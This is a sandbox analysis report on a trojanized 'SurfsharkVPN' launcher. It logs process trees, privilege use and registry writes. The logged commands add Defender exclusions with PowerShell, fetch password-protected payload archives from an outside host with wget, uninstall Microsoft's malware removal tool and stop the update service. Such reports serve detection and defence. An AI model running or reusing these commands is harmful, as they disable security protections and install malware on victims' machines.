Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D69B561148F01C77C54578C10926DF5B856976AD\Blob = 5c000000010000000400000000080000040000000100000010000000c5dfb849ca051355ee2dba1ac33eb028030000000100000014000000d69b561148f01c77c54578c10926df5b856976ad1d000000010000001000000001728e1ecf7a9d86fb3cec8948aba9531400000001000000140000008ff04b7fa82e4524ae4d50fa639a8bdee2dd1bbc620000000100000020000000cbb522d7b7f127ad6a0113865bdf1cd4102e7d0759af635a7cf4720dc963c53b0b000000010000003000000047006c006f00620061006c005300690067006e00200052006f006f00740020004300410020002d002000520033000000530000000100000040000000303e301f06092b06010401a032010130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0090000000100000054000000305206082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050507030606082b0601050507030706082b0601050507030106082b060105050703080f00000001000000200000005229ba15b31b0c6f4cca89c2985177974327d1b689a3b935a0bd975532af22ab190000000100000010000000d0fd3c9c380d7b65e26b9a3fedd39b8f2000000001000000630300003082035f30820247a003020102020b04000000000121585308a2300d06092a864886f70d01010b0500304c3120301e060355040b1317476c6f62616c5369676e20526f6f74204341202d20523331133011060355040a130a476c6f62616c5369676e311330110603550403130a476c6f62616c5369676e301e170d3039303331383130303030305a170d3239303331383130303030305a304c3120301e060355040b1317476c6f62616c5369676e20526f6f74204341202d20523331133011060355040a130a476c6f62616c5369676e311330110603550403130a476c6f62616c5369676e30820122300d06092a864886f70d01010105000382010f003082010a0282010100cc2576907906782216f5c083b684ca289efd057611c5ad8872fc460243c7b28a9d045f24cb2e4be1608246e152ab0c8147706cdd64d1ebf52ca30f823d0c2bae97d7b614861079bb3b1380778c08e149d26a622f1f5efa9668df892795389f06d73ec9cb26590d73deb0c8e9260e8315c6ef5b8bd20460ca49a628f6693bf6cbc82891e59d8a615737ac7414dc74e03aee722f2e9cfbd0bbbff53d00e10633e8822bae53a63a16738cdd410e203ac0b4a7a1e9b24f902e3260e957cbb904926868e538266075b29f77ff9114efae2049fcad401548d1023161195eb897efad77b7649a7abf5fc113ef9b62fb0d6ce0546916a903da6ee983937176c6698582170203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e041604148ff04b7fa82e4524ae4d50fa639a8bdee2dd1bbc300d06092a864886f70d01010b050003820101004b40dbc050aafec80ceff796544549bb96000941acb3138686280733ca6be674b9ba002daea40ad3f5f1f10f8abf73674a83c7447b78e0af6e6c6f03298e333945c38ee4b9576caafc1296ec53c62de4246cb99463fbdc536867563e83b8cf3521c3c968fecedac253aacc908ae9f05d468c95dd7a58281a2f1ddecd0037418fed446dd75328977ef367041e15d78a96b4d3de4c27a44c1b737376f41799c21f7a0ee32d08ad0a1c2cff3cab550e0f917e36ebc35749bee12e2d7c608bc3415113239dcef7326b9401a899e72c331f3a3b25d28640ce3b2c8678c9612f14baeedb556fdf84ee05094dbd28d872ced36250651eeb92978331d9b3b5ca47583f5f	Launcher.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

msedge.exemsedge.exeidentity_helper.exemsedge.exepowershell.exepowershell.exemsedge.exerhjryjyj.exeopenwith.exe2plugin27724powershell.exekuytqawknxye.exepowershell.exedwm.exe

pid	process
1704	msedge.exe
1704	msedge.exe
3208	msedge.exe
3208	msedge.exe
1292	identity_helper.exe
1292	identity_helper.exe
4300	msedge.exe
4300	msedge.exe
5952	powershell.exe
5952	powershell.exe
5952	powershell.exe
5580	powershell.exe
5580	powershell.exe
5580	powershell.exe
6484	msedge.exe
6484	msedge.exe
6648	rhjryjyj.exe
6648	rhjryjyj.exe
6760	openwith.exe
6760	openwith.exe
6760	openwith.exe
6760	openwith.exe
7136	2plugin27724
7136	2plugin27724
7136	2plugin27724
6700	powershell.exe
6700	powershell.exe
6700	powershell.exe
7136	2plugin27724
7136	2plugin27724
7136	2plugin27724
7136	2plugin27724
7136	2plugin27724
7136	2plugin27724
7136	2plugin27724
7136	2plugin27724
7136	2plugin27724
7136	2plugin27724
7136	2plugin27724
7136	2plugin27724
7136	2plugin27724
7136	2plugin27724
6216	kuytqawknxye.exe
6216	kuytqawknxye.exe
6216	kuytqawknxye.exe
4700	powershell.exe
4700	powershell.exe
4700	powershell.exe
6216	kuytqawknxye.exe
6216	kuytqawknxye.exe
6216	kuytqawknxye.exe
6216	kuytqawknxye.exe
6216	kuytqawknxye.exe
6216	kuytqawknxye.exe
6216	kuytqawknxye.exe
6216	kuytqawknxye.exe
6216	kuytqawknxye.exe
6216	kuytqawknxye.exe
6216	kuytqawknxye.exe
6216	kuytqawknxye.exe
6532	dwm.exe
6532	dwm.exe
6532	dwm.exe
6532	dwm.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 9 IoCs

Processes:

msedge.exe

pid process

3208 msedge.exe
3208 msedge.exe
3208 msedge.exe
3208 msedge.exe
3208 msedge.exe
3208 msedge.exe
3208 msedge.exe
3208 msedge.exe
3208 msedge.exe

Suspicious use of AdjustPrivilegeToken 31 IoCs

Processes:

AUDIODG.EXE7zG.exepowershell.exepowershell.exe7zG.exepowershell.exepowercfg.exepowercfg.exepowercfg.exepowercfg.exepowershell.exepowercfg.exepowercfg.exedwm.exepowercfg.exepowercfg.exe

description	pid	process
Token: 33	1652	AUDIODG.EXE
Token: SeIncBasePriorityPrivilege	1652	AUDIODG.EXE
Token: SeRestorePrivilege	5428	7zG.exe
Token: 35	5428	7zG.exe
Token: SeSecurityPrivilege	5428	7zG.exe
Token: SeSecurityPrivilege	5428	7zG.exe
Token: SeDebugPrivilege	5952	powershell.exe
Token: SeDebugPrivilege	5580	powershell.exe
Token: SeRestorePrivilege	5200	7zG.exe
Token: 35	5200	7zG.exe
Token: SeSecurityPrivilege	5200	7zG.exe
Token: SeSecurityPrivilege	5200	7zG.exe
Token: SeDebugPrivilege	6700	powershell.exe
Token: SeShutdownPrivilege	2816	powercfg.exe
Token: SeCreatePagefilePrivilege	2816	powercfg.exe
Token: SeShutdownPrivilege	5712	powercfg.exe
Token: SeCreatePagefilePrivilege	5712	powercfg.exe
Token: SeShutdownPrivilege	7116	powercfg.exe
Token: SeCreatePagefilePrivilege	7116	powercfg.exe
Token: SeShutdownPrivilege	6928	powercfg.exe
Token: SeCreatePagefilePrivilege	6928	powercfg.exe
Token: SeDebugPrivilege	4700	powershell.exe
Token: SeShutdownPrivilege	3796	powercfg.exe
Token: SeCreatePagefilePrivilege	3796	powercfg.exe
Token: SeShutdownPrivilege	1144	powercfg.exe
Token: SeCreatePagefilePrivilege	1144	powercfg.exe
Token: SeLockMemoryPrivilege	6532	dwm.exe
Token: SeShutdownPrivilege	6832	powercfg.exe
Token: SeCreatePagefilePrivilege	6832	powercfg.exe
Token: SeShutdownPrivilege	2524	powercfg.exe
Token: SeCreatePagefilePrivilege	2524	powercfg.exe

Suspicious use of FindShellTrayWindow 62 IoCs

Processes:

msedge.exe7zG.exewget.exewinrar.exewget.exewinrar.exewget.exewinrar.exe7zG.exe3plugin29563

pid	process
3208	msedge.exe
3208	msedge.exe
3208	msedge.exe
3208	msedge.exe
3208	msedge.exe
3208	msedge.exe
3208	msedge.exe
3208	msedge.exe
3208	msedge.exe
3208	msedge.exe
3208	msedge.exe
3208	msedge.exe
3208	msedge.exe
3208	msedge.exe
3208	msedge.exe
3208	msedge.exe
3208	msedge.exe
3208	msedge.exe
3208	msedge.exe
3208	msedge.exe
3208	msedge.exe
3208	msedge.exe
3208	msedge.exe
3208	msedge.exe
3208	msedge.exe
3208	msedge.exe
3208	msedge.exe
3208	msedge.exe
3208	msedge.exe
3208	msedge.exe
3208	msedge.exe
3208	msedge.exe
3208	msedge.exe
3208	msedge.exe
3208	msedge.exe
3208	msedge.exe
3208	msedge.exe
5428	7zG.exe
6232	wget.exe
3208	msedge.exe
3208	msedge.exe
3208	msedge.exe
3208	msedge.exe
5724	winrar.exe
5724	winrar.exe
3208	msedge.exe
3208	msedge.exe
3208	msedge.exe
3208	msedge.exe
3208	msedge.exe
3208	msedge.exe
3208	msedge.exe
3208	msedge.exe
3208	msedge.exe
6704	wget.exe
6968	winrar.exe
6968	winrar.exe
744	wget.exe
4396	winrar.exe
4396	winrar.exe
5200	7zG.exe
4420	3plugin29563

Suspicious use of SendNotifyMessage 24 IoCs

Processes:

msedge.exe

pid	process
3208	msedge.exe
3208	msedge.exe
3208	msedge.exe
3208	msedge.exe
3208	msedge.exe
3208	msedge.exe
3208	msedge.exe
3208	msedge.exe
3208	msedge.exe
3208	msedge.exe
3208	msedge.exe
3208	msedge.exe
3208	msedge.exe
3208	msedge.exe
3208	msedge.exe
3208	msedge.exe
3208	msedge.exe
3208	msedge.exe
3208	msedge.exe
3208	msedge.exe
3208	msedge.exe
3208	msedge.exe
3208	msedge.exe
3208	msedge.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

msedge.exe

description	pid	process	target process
PID 3208 wrote to memory of 2208	3208	msedge.exe	msedge.exe
PID 3208 wrote to memory of 2208	3208	msedge.exe	msedge.exe
PID 3208 wrote to memory of 3540	3208	msedge.exe	msedge.exe
PID 3208 wrote to memory of 3540	3208	msedge.exe	msedge.exe
PID 3208 wrote to memory of 3540	3208	msedge.exe	msedge.exe
PID 3208 wrote to memory of 3540	3208	msedge.exe	msedge.exe
PID 3208 wrote to memory of 3540	3208	msedge.exe	msedge.exe
PID 3208 wrote to memory of 3540	3208	msedge.exe	msedge.exe
PID 3208 wrote to memory of 3540	3208	msedge.exe	msedge.exe
PID 3208 wrote to memory of 3540	3208	msedge.exe	msedge.exe
PID 3208 wrote to memory of 3540	3208	msedge.exe	msedge.exe
PID 3208 wrote to memory of 3540	3208	msedge.exe	msedge.exe
PID 3208 wrote to memory of 3540	3208	msedge.exe	msedge.exe
PID 3208 wrote to memory of 3540	3208	msedge.exe	msedge.exe
PID 3208 wrote to memory of 3540	3208	msedge.exe	msedge.exe
PID 3208 wrote to memory of 3540	3208	msedge.exe	msedge.exe
PID 3208 wrote to memory of 3540	3208	msedge.exe	msedge.exe
PID 3208 wrote to memory of 3540	3208	msedge.exe	msedge.exe
PID 3208 wrote to memory of 3540	3208	msedge.exe	msedge.exe
PID 3208 wrote to memory of 3540	3208	msedge.exe	msedge.exe
PID 3208 wrote to memory of 3540	3208	msedge.exe	msedge.exe
PID 3208 wrote to memory of 3540	3208	msedge.exe	msedge.exe
PID 3208 wrote to memory of 3540	3208	msedge.exe	msedge.exe
PID 3208 wrote to memory of 3540	3208	msedge.exe	msedge.exe
PID 3208 wrote to memory of 3540	3208	msedge.exe	msedge.exe
PID 3208 wrote to memory of 3540	3208	msedge.exe	msedge.exe
PID 3208 wrote to memory of 3540	3208	msedge.exe	msedge.exe
PID 3208 wrote to memory of 3540	3208	msedge.exe	msedge.exe
PID 3208 wrote to memory of 3540	3208	msedge.exe	msedge.exe
PID 3208 wrote to memory of 3540	3208	msedge.exe	msedge.exe
PID 3208 wrote to memory of 3540	3208	msedge.exe	msedge.exe
PID 3208 wrote to memory of 3540	3208	msedge.exe	msedge.exe
PID 3208 wrote to memory of 3540	3208	msedge.exe	msedge.exe
PID 3208 wrote to memory of 3540	3208	msedge.exe	msedge.exe
PID 3208 wrote to memory of 3540	3208	msedge.exe	msedge.exe
PID 3208 wrote to memory of 3540	3208	msedge.exe	msedge.exe
PID 3208 wrote to memory of 3540	3208	msedge.exe	msedge.exe
PID 3208 wrote to memory of 3540	3208	msedge.exe	msedge.exe
PID 3208 wrote to memory of 3540	3208	msedge.exe	msedge.exe
PID 3208 wrote to memory of 3540	3208	msedge.exe	msedge.exe
PID 3208 wrote to memory of 3540	3208	msedge.exe	msedge.exe
PID 3208 wrote to memory of 3540	3208	msedge.exe	msedge.exe
PID 3208 wrote to memory of 1704	3208	msedge.exe	msedge.exe
PID 3208 wrote to memory of 1704	3208	msedge.exe	msedge.exe
PID 3208 wrote to memory of 3616	3208	msedge.exe	msedge.exe
PID 3208 wrote to memory of 3616	3208	msedge.exe	msedge.exe
PID 3208 wrote to memory of 3616	3208	msedge.exe	msedge.exe
PID 3208 wrote to memory of 3616	3208	msedge.exe	msedge.exe
PID 3208 wrote to memory of 3616	3208	msedge.exe	msedge.exe
PID 3208 wrote to memory of 3616	3208	msedge.exe	msedge.exe
PID 3208 wrote to memory of 3616	3208	msedge.exe	msedge.exe
PID 3208 wrote to memory of 3616	3208	msedge.exe	msedge.exe
PID 3208 wrote to memory of 3616	3208	msedge.exe	msedge.exe
PID 3208 wrote to memory of 3616	3208	msedge.exe	msedge.exe
PID 3208 wrote to memory of 3616	3208	msedge.exe	msedge.exe
PID 3208 wrote to memory of 3616	3208	msedge.exe	msedge.exe
PID 3208 wrote to memory of 3616	3208	msedge.exe	msedge.exe
PID 3208 wrote to memory of 3616	3208	msedge.exe	msedge.exe
PID 3208 wrote to memory of 3616	3208	msedge.exe	msedge.exe
PID 3208 wrote to memory of 3616	3208	msedge.exe	msedge.exe
PID 3208 wrote to memory of 3616	3208	msedge.exe	msedge.exe
PID 3208 wrote to memory of 3616	3208	msedge.exe	msedge.exe
PID 3208 wrote to memory of 3616	3208	msedge.exe	msedge.exe
PID 3208 wrote to memory of 3616	3208	msedge.exe	msedge.exe

C:\Windows\system32\sihost.exe
sihost.exe
1⤵
PID:2600
- C:\Windows\SysWOW64\openwith.exe
  "C:\Windows\system32\openwith.exe"
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  PID:6760

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://yhesf.for.com.de/pzlxh
1⤵
- Enumerates system info in registry
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:3208
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffed34f46f8,0x7ffed34f4708,0x7ffed34f4718
  2⤵
  PID:2208
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2124,4336261740651867049,17895977405997182425,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2164 /prefetch:2
  2⤵
  PID:3540
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2124,4336261740651867049,17895977405997182425,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2276 /prefetch:3
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:1704
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2124,4336261740651867049,17895977405997182425,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2892 /prefetch:8
  2⤵
  PID:3616
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2124,4336261740651867049,17895977405997182425,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3372 /prefetch:1
  2⤵
  PID:3244
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2124,4336261740651867049,17895977405997182425,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3396 /prefetch:1
  2⤵
  PID:3960
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2124,4336261740651867049,17895977405997182425,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5080 /prefetch:1
  2⤵
  PID:4604
- C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2124,4336261740651867049,17895977405997182425,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5508 /prefetch:8
  2⤵
  PID:2588
- C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2124,4336261740651867049,17895977405997182425,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5508 /prefetch:8
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:1292
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2124,4336261740651867049,17895977405997182425,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5552 /prefetch:1
  2⤵
  PID:1040
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2124,4336261740651867049,17895977405997182425,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5568 /prefetch:1
  2⤵
  PID:4460
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2124,4336261740651867049,17895977405997182425,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5604 /prefetch:1
  2⤵
  PID:856
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2124,4336261740651867049,17895977405997182425,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5648 /prefetch:1
  2⤵
  PID:3608
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --field-trial-handle=2124,4336261740651867049,17895977405997182425,131072 --lang=en-US --service-sandbox-type=audio --mojo-platform-channel-handle=5200 /prefetch:8
  2⤵
  PID:3692
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2124,4336261740651867049,17895977405997182425,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6108 /prefetch:1
  2⤵
  PID:4348
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_collections.mojom.CollectionsDataManager --field-trial-handle=2124,4336261740651867049,17895977405997182425,131072 --lang=en-US --service-sandbox-type=collections --mojo-platform-channel-handle=5816 /prefetch:8
  2⤵
  PID:2256
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=2124,4336261740651867049,17895977405997182425,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=6192 /prefetch:8
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:4300
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2124,4336261740651867049,17895977405997182425,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=19 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4848 /prefetch:1
  2⤵
  PID:6504
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=2124,4336261740651867049,17895977405997182425,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2056 /prefetch:8
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:6484
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2124,4336261740651867049,17895977405997182425,131072 --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=4318 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --gpu-preferences=UAAAAAAAAADoAAAQAAAAAAAAAAAAAAAAAABgAAAEAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=5004 /prefetch:2
  2⤵
  PID:4000

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:2680

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:2276

C:\Windows\system32\AUDIODG.EXE
C:\Windows\system32\AUDIODG.EXE 0x2f8 0x448
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1652

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:5268

C:\Program Files\7-Zip\7zG.exe
"C:\Program Files\7-Zip\7zG.exe" x -o"C:\Users\Admin\Downloads\SurfsharkVPN-10_11\" -spe -an -ai#7zMap14765:98:7zEvent17686
1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:5428

C:\Users\Admin\Downloads\SurfsharkVPN-10_11\Launcher.exe
"C:\Users\Admin\Downloads\SurfsharkVPN-10_11\Launcher.exe"
1⤵
- Checks computer location settings
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Modifies system certificate store
PID:7104
- C:\Users\Admin\AppData\Roaming\services\Launhcer.exe
  "C:\Users\Admin\AppData\Roaming\services\Launhcer.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  PID:5968
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -Command "$AdminRightsRequired = $true function Get-Win { while ($true) { # if ($AdminRightsRequired) { # try { Start-Process -FilePath '.\data\Launcher.exe' -Verb RunAs -Wait # break } catch { Write-Host 'Error 0xc0000906' } } else { # break } } } Get-Win"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:5952
  - - C:\Users\Admin\AppData\Roaming\services\data\Launcher.exe
      "C:\Users\Admin\AppData\Roaming\services\data\Launcher.exe"
      4⤵
      Checks computer location settings
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      PID:5280
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath $env:ProgramData, $env:AppData, $env:SystemDrive\ "
        5⤵
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:5580
    - - C:\Users\Admin\AppData\Roaming\services\wget.exe
        
        "C:\Users\Admin\AppData\Roaming\services\wget.exe" ping --content-disposition https://buscocurro.com/1/1 -P C:\Users\Admin\AppData\Roaming\services
        5⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        System Network Configuration Discovery: Internet Connection Discovery
        Suspicious use of FindShellTrayWindow
        
        PID:6232
    - - C:\Users\Admin\AppData\Roaming\services\winrar.exe
        
        "C:\Users\Admin\AppData\Roaming\services\winrar.exe" x -y -pjryj2023 C:\Users\Admin\AppData\Roaming\services\01*.* "1\*" C:\Users\Admin\AppData\Roaming\services
        5⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Suspicious use of FindShellTrayWindow
        
        PID:5724
    - - C:\Users\Admin\AppData\Roaming\services\1\rhjryjyj.exe
        
        "C:\Users\Admin\AppData\Roaming\services\1\rhjryjyj.exe"
        5⤵
        Suspicious use of NtCreateUserProcessOtherParentProcess
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        
        PID:6648
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 6648 -s 612
        6⤵
        Program crash
        
        PID:6876
    - - C:\Users\Admin\AppData\Roaming\services\wget.exe
        
        "C:\Users\Admin\AppData\Roaming\services\wget.exe" ping --content-disposition https://buscocurro.com/2/1 -P C:\Users\Admin\AppData\Roaming\services
        5⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        System Network Configuration Discovery: Internet Connection Discovery
        Suspicious use of FindShellTrayWindow
        
        PID:6704
    - - C:\Users\Admin\AppData\Roaming\services\winrar.exe
        
        "C:\Users\Admin\AppData\Roaming\services\winrar.exe" x -y -pjryj2023 C:\Users\Admin\AppData\Roaming\services\02plugins*.* "2plugin*" C:\Users\Admin\AppData\Roaming\services
        5⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Suspicious use of FindShellTrayWindow
        
        PID:6968
    - - C:\Users\Admin\AppData\Roaming\services\2plugin27724
        
        C:\Users\Admin\AppData\Roaming\services\2plugin27724
        5⤵
        Executes dropped EXE
        Drops file in System32 directory
        Suspicious use of NtSetInformationThreadHideFromDebugger
        Suspicious behavior: EnumeratesProcesses
        
        PID:7136
      - C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
        
        C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
        6⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:6700
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
        6⤵
        
        PID:6244
        
        C:\Windows\system32\wusa.exe
        
        wusa /uninstall /kb:890830 /quiet /norestart
        7⤵
        
        PID:5832
      - C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe stop UsoSvc
        6⤵
        Launches sc.exe
        
        PID:6448
